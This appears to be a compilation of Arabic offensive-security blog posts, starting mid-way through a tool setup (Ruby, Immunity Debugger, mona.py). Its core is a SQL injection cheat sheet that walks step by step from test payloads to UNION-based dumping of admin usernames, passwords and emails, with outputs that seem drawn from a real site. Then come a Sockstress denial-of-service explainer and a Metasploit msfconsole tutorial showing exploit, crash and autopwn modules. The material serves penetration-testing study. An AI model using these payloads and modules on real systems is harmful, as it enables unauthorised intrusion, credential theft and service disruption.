There are 2 choices for the alternative ruby (providing /usr/bin/ruby). Selection Path Priority Status ———————————————————— * 0 /usr/bin/ruby1.8 50 auto mode 1 /usr/bin/ruby1.8 50 manual mode 2 /usr/bin/ruby1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/ruby1.9.1 to provide /usr/bin/ruby (ruby) in manual mode.

جعل الـ gem الخاص بالإصدار 1.9.3 هو الافتراضي update-alternatives --config gem

There are 2 choices for the alternative gem (providing /usr/bin/gem). Selection Path Priority Status ———————————————————— * 0 /usr/bin/gem1.8 180 auto mode 1 /usr/bin/gem1.8 180 manual mode 2 /usr/bin/gem1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/gem1.9.1 to provide /usr/bin/gem (gem) in manual mode.

للتأكد ruby --version

1.9.3p0 (2011-10-30 revision 33570) [x86_64-linux]

gem -v

1.8.11

تثبيت بعض الـ gems التي قد نحتاجها gem install pry colorize

 

تحميل المنقح Immunity debugger

راجع موضوع :  شرح امكانيات برنامج Immunity debugger – الواجهة

 

تحميل إضافة mona.py

إضافة mona.py هي إضافة رائعة لبرنامج Immunity debugger من تطوير الرائع Peter Van وفريقه وهي البديل الجديد لإضافته السابقة pvefindaddr التي كنا قد تحدثنا عنها سابقا
رابط التحميل 
أو ستجدها افتراضيا عند تحميل Buffer Overflow kit ضمن الأدوات الإضافية.
طريقة تركيب الإضافة مع Immunity debugger هي نفس طريقة تركيب pvefindaddr
– أغلق برنامج Immunity debugger
– ضع الإضافة في المسار (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)
– شغل برنامج Immunity debugger

 

تحميل الـ Metsploit

رابط التحميل

 

تحميل أداة Buffer Overflow Kit

أداة Buffer Overflow Kit  حيث تجمع عدة أدوات في مكان واحد من تطوير مجتمع الحماية العربي وسنقوم باستخدامها لاحقا بإذن الله.

 
 

SQL injection Cheat Sheet – Php/MySQL

[toc]

 

 1. مقدمة

لا يخفى على أحد أهمية ثغرات حقن قواعد البيانات ومدى خطورتها على المواقع والتطبيقات و بالطبع على المعلومات. في هذا الموضوع لن اقوم بشرح مفاهيم ثغرات حقن القواعد وأنواعها بل سيكون بمثابة مراجعة سريعة على الخطوات العملية دون التعرض لأي مبادئ أو مفاهيم مما يؤكد أن هذا الموضوع لا يغنيك أبدا عن القراءة وفهم أصل وطبيعة هذا النوع من الثغرات. سنركز على حقن قواعد بيانات MySQL مع تطبيقات PHP.

 

سيكون بطل هذا الموضوع هو الرابط التالي :

http://Vulnerable-Site.ext/news_detail.php?id=9

[box style=”alert”]
أي تشابه في روابط أو مخرجات هذا الشرح مع أي موقع حقيقي هو بمحض الصدفة.
[/box]

[box style=”info”]
لمعرفة أخطر 10 ثغرات على تطبيقات الويب , الرجاء زيارة موقع OWASP و المهتم بكل ما يتعلق بحماية تطبيقات الويب بجيمع أنواعها.
[/box]

 

2. Test Vulnerability

ثغرات الحقن متنوعة ومختلفة في طبيعتها وطرق استغلالها لكنها تسري تحت نفس المبادئ. في الجدول التالي بعض الرموز المستخدمة للتأكد من وجود ثغرة في الموقع

[gn_table style=”1″]

‘” ‘ or 1=1 ‘ or 1=1–
” or 1=1– ‘ or 1=1– ‘ or 1=1# or 1=1/* ‘or 1=1/*
or 1=1;%00 or a=a ‘or a=a or a=a– or a=a#
/**/’ ‘or 1=1;%00 “or 1=1;%00 ‘)or(‘a’=’a’ “)””a”=”a”
‘or”=’

[/gn_table]

في حالة تنفيذ إحدى الرموز السابقة وظهر لك خطأ في قواعد البيانات -على سبيل المثال لا الحصر – كالتالي

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/listproducts.php on line 74

أو

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

 

فإن احتمالية ان الموقع مصاب تصبح كبيرة و نسطيع التأكد بتجربة أكثر من رمز من الرموز الموضحة في الجدول اعلاه

3. Enumeration

لنسهل الأمر على أنفسنا, دعنا نطرح السؤال التالي:

ما هي البيانات اللتي نحتاجها أو الممكن جمعها من هذه الثغرة؟

الإجابة, في الفقرات التالية

 

3.1. Database type

أسهل طريقة لمعرفة نوع قاعدة البيانات هو عن طريق الخطأ الذي يظهر عن اختبار الثغرة فمثلا

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

يتضح لنا أن قاعدة البيانات هي MySQL

مثال أخر

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string ”.

/showforum.asp, line 9

ظهر أن قاعدة البيانات هي MSSQL او Microsoft SQL server

مثال أخر

ORA-01756: quoted string not properly terminated

وهنا قاعدة البيانات هي Oracle

هناك اختلافات في طريقة حقن القواعد بين قاعدة وأخرى وكما ذكرنا موضوعنا هذا سيكون على قواعد بيانات MySQL مع تطبيقات PHP حيث الأكثر استخداما معاً.

 

3.2. Enumerate number of columns in the database’s table

الأن نريد أن نعرف عدد الأعمدة في جداول قاعدة البيانات الحالية , بحكم أننا لا نعرف عدد الأعمدة بالظبط فإننا سنقوم بإضافة مجموعة من العمليات التصاعدية/التنازلية حتى [gn_highlight bg=”#ff6042″ color=”#000000″]يختفي الخطأ[/gn_highlight] و الذي يدل على أن عدد أعمدة الجدول مختلف -بالنقص أو الزيادة- عن العدد الذي طلبته عن طريق الاستعلام.
مثال لشكل الخطأ

The used SELECT statements have a different number of columns

هناك عدة طرق وسنذكر منها

  • باستخدام  الأرقام  مع  UNION SELECT

بحكم أننا لا نعرف عدد الأعمدة فإننا سنقوم بإضافة مجموعة من الأرقام التصاعدية حتى يختفي الخطأ و الذي يدل على أن للأعمدة عدد مختلف عن الذي طلبته
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7#
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام NULL  مع  UNION SELECT

http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!  سنستمر في زيادة عدد الـ NULL حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام الأرقام مع  ORDER BYأنصح بهذه الطريقة

http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 20
ظهر لنا خطأ! سنستمر في إنقاص العدد حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 8
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 7
ذهب الخطأ وظهرت لنا صفحة الموقع!

إذناً نستنج أن عدد الأعمدة هو 7 أعمدة

[box style=”tip”]
جرب إضافة علامة الناقص مرتين متتابعتين بدون مسافات “–” أو الناقص مرتين متتابعتين بدون مسافا تتبعها واحدة إضافية قبلها مسافه “– -” أو “#” أو “/**/” في نهاية الاستعلام
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7-- -
http://Vulnerable-Site.ext/news_detail.php?id=9 order by 7#
[/box]

[box style=”tip”]
استخدمنا UNION SELECT , جرب أيضا مخرجات UNION ALL SELECT في ما طبقناه سابقا وما سنطبقه لاحقا وقارن المخرجات ,,
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION ALL SELECT 1,2,3,4,5,6,7--
[/box]

[box style=”info”]
زيادة الأعداد أو NULLs بناء على بدايتك فإذا وضعت في البداية عدد قليل مثل 1 فابدأ بزيادتها, وإذا بدأت بعدد كبير مثل 50 فابدأ بإنقاصها.
[/box]

 

3.3. Enumerate Vulnerable column(s)

بعد أن عرفنا عدد الأعمدة بالظبط, نريد أن نعرف العامود/الأعمدة المصابة والتي يمكن أن نحقن استعالاماتنا فيها للتفاعل مع القواعد بالطريقة التالية

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,3,4,5,6,7--

[box style=”alert”]
لاحظ علامة ” – ” قبل المتغير. لا تنسى وضعها فسترافقنا إلى النهاية!.
[/box]

الأن دقق في الصفحة جيدا سيظهر لك رقم أو عدة أرقام مختلفة في أماكن مختلفة من الصفحة

شكل الصفحة قبل الاستعلام
Before SQL

شكل الصفحة بعد تطبيق الاستعلام
After SQLi
[box style=”tip”]
ليس كل المواقع تظهر فيها الأرقام بهذا الوضوح, ابحث جيدا في الصفحة فقط تكون في الـHeader أو الـ Footer أو في Sidebar
[/box]

نستنتج أن الأعمدة المصابة هي  2 و 3 و 5 و 7

 

3.4. Enumerate Database version

هناك طريقتين لإظهار إصدار قاعدة البيانات

  • باستخدام VERSION()
  • باستخدام VERSION@@

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,version(),4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@version,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

5.0.51b-community-nt-log

 

3.5. Enumerate Database name

اسم قاعدة البيانات الحالية التي نعمل عليها

  • باستخدام DATABASE()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,DATABASE(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

nilakantatrust

 

3.6. Enumerate Database user

اسم المستخدم لقاعدة البيانات الحالية التي نعمل عليها

  • باستخدام USER()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,USER(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

rmishra@localhost

[box style=”info”]
ومن هنا نسنتج أيضا أن القاعدة على نفس الخادم وليس خادم أخر
[/box]

 

3.7. Enumerate server hostname

اسم الخادم الذي يعمل عليه الموقع

  • باستخدام @@HOSTNAME

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@HOSTNAME,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

winvserv1

[box style=”info”]
– قد لا يظهر لنا مسح الخادم باستخدام الـ nmap نوع الخادم لكننا استفدنا من اسم الخادم أنه Windows server
– بعض الأحيان يكون الموقع يعمل على أكثر من خادم كـ Load balancing قد يكشف لكن الإسم ذلك ولسنا بصدد تفاصيل هذا
[/box]

 

3.8. Enumerate server MAC address

استخراج الـ MAC address للخادم.

  • باستخدام UUID()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,UUID(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

70cc11f4-5984-11e2-bbf9-001c4239ab0a

 

3.9. Enumerate All Together

نجمع جميع ما سبق في استعلام واحد!

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),HOSTNAME(),USER(),DATABASE(),VERSION()),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

rmishra@localhost : nilakantatrust : 5.0.51b-community-nt-log

[box style=”alert”]
– ليس بالضرورة أن تعمل معك كل الدوال السابقة وغيرها, على سبيل المثال قد لا تعمل معك دالة HOSTNAME() أو UUID() فلا تقلق فنحن دائما نحاول جمع أكبر قدر من المعلومات.
– بعض المعلومات قد لا تفيدك بشكل مباشر لكنها قد تكون مؤشر إلى شئ آخر كـ صلاحيات هذا المستخدم على قاعدة أو قواعدة البيانات مثلا.
[/box]

4. Exploiting / Extracting

وكالعادة, قبل أن نبدأ في خطوة نسأل أنفسنا ماذا نريد من هذه الخطوة؟

4.1. List all databases

نعرض جميع قواعد البيانات الموجودة. حقن [gn_highlight bg=”#B2B2B2″ color=”#000000″]GROUP_CONCAT(schema_name)[/gn_highlight] مع [gn_highlight bg=”#B2B2B2″ color=”#000000″]from information_chema.schemata[/gn_highlight] ستعرض لنا جميع قواعد البيانات المستخدمة من خلال التطبيق.

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--

[gn_label style=”success”]المـخـرجـات[/gn_label]

information_schema,nilakantatrust

 

4.2. Extracting tables from the database

[gn_label style=”default”]استخراج الجداول من القاعدة الحالية[/gn_label]

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

هناك طريقتين أخراتين لعرض جميع جميع الجداول سأعرضهم بسرعة
[gn_label style=”default”]استخراج جميع الجداول –> 1 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables--

[gn_label style=”default”]استخراج جميع الجداول –> 2 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where version=10;

[gn_label style=”success”]المـخـرجـات[/gn_label]

st_adminlog,est_companyrecord,est_facp etc est_achievement,est_admin,est_adminlog, est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

[box style=”green”]
يتم إسناد القيم بناء على إصدار الـ MySQL. القيمة 10 للإصدارات 5 و القيمة 9 للإصدارات 4
version=10 for MySQL v5
version=9 for MySQL v4
[/box]

[box style=”red”]
لاحظ أننا حصلنا على جدول مهم , est_admin
[/box]

 

4.3. Extracting columns from the tables

استخراج الأعمدة من الجداول ولها طريقتين
[gn_label style=”default”]1- Extracting from all tables[/gn_label]
استخراج أعمدة جميع الجداول في القاعدة الحالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

ach_id,ach_title,ach_detail,ach_type,ach_date,ach_status,ach_pdf,uid,userid,password,emailid,signature,last_login,
uid,ipaddress,act_date,module,action,description,c_snum,c_name,c_photo,fac_snum,fac_name,fac_designation,fac_dept,fac_qualification,
fac_email,fac_phone,fac_residence,fac_photo,fac_experience,
fac_publication,fac_uid,fac_pwd,news_id,news_title,news_detail,
news_type,news_date,news_status,news_pdf,notice_id,notice_title,
notice_detail,notice_type,notice_date,notice_status,sno,trade,name,
sex,dob,nri,laddress,paddress,email,pin,phone,mobile,caste,pname,
prelation,poccupation,pincome,pphone,pmobile,pemail,lname,lrelation,
loccupation,lincome,lphone,lmobile,lemail,marksheet,status,date,snum,
sname,batch,branch,company,s_photo

 

[gn_label style=”default”]2- Extracting from specific table[/gn_label]
استخراج اعمدة جدول معين
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=est_admin--
[gn_label style=”success”]المـخـرجـات[/gn_label]
بهذا الشكل سيخرج لك خطأ ولن تحصل على معلومة. لهذا يجب عليك أن تحول ترميز اسم الجدول إلى Hex وأسهل طريقة لهذا هو عن طريق إضافة HackBar في الفاير الفايرفوكس هكذا
Encoding >> HEX encoding >> String to 00ff00ff

نضع اسم الجدول وفي حالتنا اسمه “est_admin” سيخرج لنا القيمة “6573745f61646d696e”. نأخذ القيمة الجديدة ونضع قبلها  0x  ثم نضعها في مكان اسم الجدول كالتالي
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=0x6573745f61646d696e--

[gn_label style=”success”]المـخـرجـات[/gn_label]

uid,userid,password,emailid,signature,last_login

 

4.4. Extracting information from the columns

الأن دعنا نعرض جميع المستخدمين مع كلمات المرور و بريدهم الإلكتروني
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,password,emailid),4,5,6,7 from est_admin--

[box style=”info”]
القيمة ” 0x3a ” تعني العلامة ” : ” وهنا نستخدما لتحسين عرض البيانات
[/box]
[box style=”tip”]
جرب ان تنفذ الاستعلام بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,0x3a,password,0x3a,emailid),4,5,6,7 from est_admin--
[/box]

[gn_label style=”success”]المـخـرجـات[/gn_label]

user1:User1Password:[email protected]
user2:User2Password:[email protected]
.
.
userX:UserXPassword:[email protected]

 

[box style=”info”]
أخيرا وليس آخرا, هذا الموضوع قابل للتحديث كلما سمح الوقت والجهد, كما أن الإضافات على الموضوع مرحب بها.
[/box]

مفاهيم هجوم Sockstress

مقدمة

يعتبر Sockstress من أخطر أنواع هجوم الـ (DoS)، حيث أن هذا الهجوم يعتمد على إكمال الـ (TCP 3-Way Handshaking) حتى يظهر بأنه عملية إتصال طبيعية، ويحتاج إلى إمكانيات قليلة مقارنة بالأنواع الأخرى من هجوم الـ (DoS)، ويعتمد بشكل أساسي على خاصية الـ (Window Size).
إن من التحسينات التي تمت على الـ (TCP) هو استخدام خاصية الـ (TCP Window Size)، فبعد القيام بعملية (3-Way Handshaking) يتبادل جهاز الـ (Server) مع جهاز الـ (Client) حجم المعلومات التي يستطيع استقبالها في كل (Packet) دون الحاجة إلى تأكيد (Ack) في هذه العملية الأخيرة.
هجوم (SockStress) يعتمد على إستخدام هذه الخاصية لاستنزاف موارد الـ (Server), حيث يقوم هذا الهجوم باستنزاف الذاكرة لدى الـ (Server) بسرعة فائقة من خلال تقليص حجم الـ (TCP Window Size), هذا الهجوم فعال على كل أنظمة التشغيل(Windows , LinuxM , BSD) و جميع أجهزة الشبكات (Routers, L3 Switches) و أي تطبيق يقبل الاتصال على بروتوكول الـ TCP.

مفهوم هجوم الـ Sockstress

1) يبدء المهاجم الإتصال مع الـ (Server) من خلال عملية (TCP 3-Way Handshaking) طبيعية.
2) يقوم المهاجم بإرسال (2 TCP Queries) على التوالي إلى الـ (Server)
2.a) طلب معلومات عادية من الـ (Server) تتطلب رداً إلى الـ (Client).
2.b) الـ (TCP Packet) تعلم الـ (Server) أن جهاز الـ (Client) لا يستطيع أن يستقبل أي معلومات حالياً (Window Size = Zero).

3) يبقي المهاجم الإتصال مفتوح، وبنفس الوقت يبقي (Window Size = 0) بمعنى أنه لا يستطيع أن يستقبل أية معلومات.

4) كنتيجة لهذا الاتصال, فإن الـ (Server) بداية يقوم بتحضير المعلومات التي طلبها الـ (Client)، لكنه يبقيها في الذاكرة لأن العميل قد أخبره مباشرة بعد طلبه هذه المعلومات أنه لا يستطيع إستقبالها، وكنتيجة لذلك فإن ذاكرة الـ (Server) تمتلئ بوقت قياسي عندما يقوم المهاجم بتكرار هذا الإتصال لفترة قليلة نسبياً، مما يؤدي إلى عدم تمكن الـ (Server) من التعامل مع أي إتصال جديد والوصول إلى حالة من الـ (Memory Overflow)، وهي النتيجة التي تحصل عادة من جميع أنواع هجوم الـ (DoS).

لتحميل أداة هذا الهجوم ورؤية طريقة إستخدامها على الرابط التالي:
https://defuse.ca/sockstress.htm

حيث أنني وجدت في هذا الموقع شرحاً مبسطاً لإستخدام هذه الأداة للقيام بهجوم (SockStress), لكن يرجى العلم بأن طريقة الحماية المشروحة في هذا الموقع غير عملية أبداً وغير مجدية.
وأقترح هنا استخدام (Proactive Intrusion Prevention)، مثل NETASQ الذي يقوم بعمل فحص كامل لـِ (TCP)، ويقوم بمتابعة حالة جميع الإتصالات المفتوحة، وبإستخدام التحليل الإحصائي والإعتماد على تحليل الـ (Heuristic) يستطيع التمييز باختلاف حجم الـ (Window Size)، وتحديد ما يصلح منها. وكنتيجة لذلك فإنه يسمح فقط للإتصالات الحقيقة بالوصول إلى الـ (Server)، وإيقاف جميع إتصالات الهجوم.

استخدام بيئة العمل Metasploit عن طريق Msfconsole

مقدمة

يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.

فوائد msfconsole :

يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.
يعتبر اكثر والواجهات استقراراً في الاستخدام.
يدعم التكملة التلقائية لتنفيذ الاوامر.
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping… وغيرها).
تشغيل (msfconsole):
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell “./msfconsole” وبامكانك تمرير متغير “-h” لمشاهدة متغيرات خيارات الاستخدام.

 

المساعدة help:

قم بادخال الامر “help ” او “؟” وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.

التكملة التلقائية :
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.
وكما هو العادة في العديد من shells تقوم با الضغط على “tab” والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .

use exploit/windows/dce
use .*netapi.*
set LHOST
set TARGET
set PAYLOAD windows/shell/
exp
show

أمر العودة الى الخلف (back):

عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر “back” لكي تعودي الى ماقبل اختيارك.
msf auxiliary(ms09_001_write) > back
msf >

 

أمر الفحص (check) :

­­يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.
msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host
(192.168.1.114:42)

 

أمر الاتصال (connect):

هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر “connect” مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

DD-WRT login:

وبتمرير المتغير “-s” في الاتصال سوف يكون الاتصال عبر SSL.
msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
Server: Apache/2.2.11
Location: http://www.metasploit.org/

 

أمر ((exploit مقابل (run) :

عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر “exploit”، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر “run”. وايضا يمكنك استخدام امر “exploit”.
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
...بقية النتائج...

 

أمر (irb) :

بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, Fayez!"
Hello, Fayez!
>> Framework::Version
=> "3.7.0-release"

أمر (jobs) :

يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر “jobs” يكون بمكانك عرض وإنها
هذه الاعمل(jobs).

msf exploit(ms08_067_netapi) > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

.-K Terminate all running jobs
. -h Help banner
-i Lists detailed information about a running job.
-k Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and –l.

 

أمر (load/unload):

بتنفيذ أمر لود “load” متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي ” key=val” داخل وامر الشل.
msf > load
Usage: load [var=val var=val ...]
Load a plugin from the supplied path. The optional
var=val options are custom parameters that can be
passed to plugins.
msf >; load pcap_log
[*] Successfully loaded plugin: pcap_log

بلمقابل، امر “unload” يقوم بازالة ماتم تحميلة في الامر السابق.
msf >; unload pcap_log
Unloading plugin pcap_log...unloaded.

 

أمر (loadpath) :

أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.
msf >; loadpath /home/secret/modules
Loaded 0 modules.

 

أمر (resource) :

بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر “resource” متبوع باسم الملف.
msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
…باقي النتائج…

وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل

 

أمر (route) :

يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.
msf exploit(ms08_067_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 3
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.1.0 255.255.255.0 Session 3

 

أمر (info) :

سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :
معلومات عن الكاتب و الرخصة.
مراجع الثغرة مثل (CVE,BID.. الخ).
اي من payload التي تشتغل فقط مع هذا Module.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo

أمر (set/unset) :

يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.
msf exploit(ms08_067_netapi) > show encoders
Compatible encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
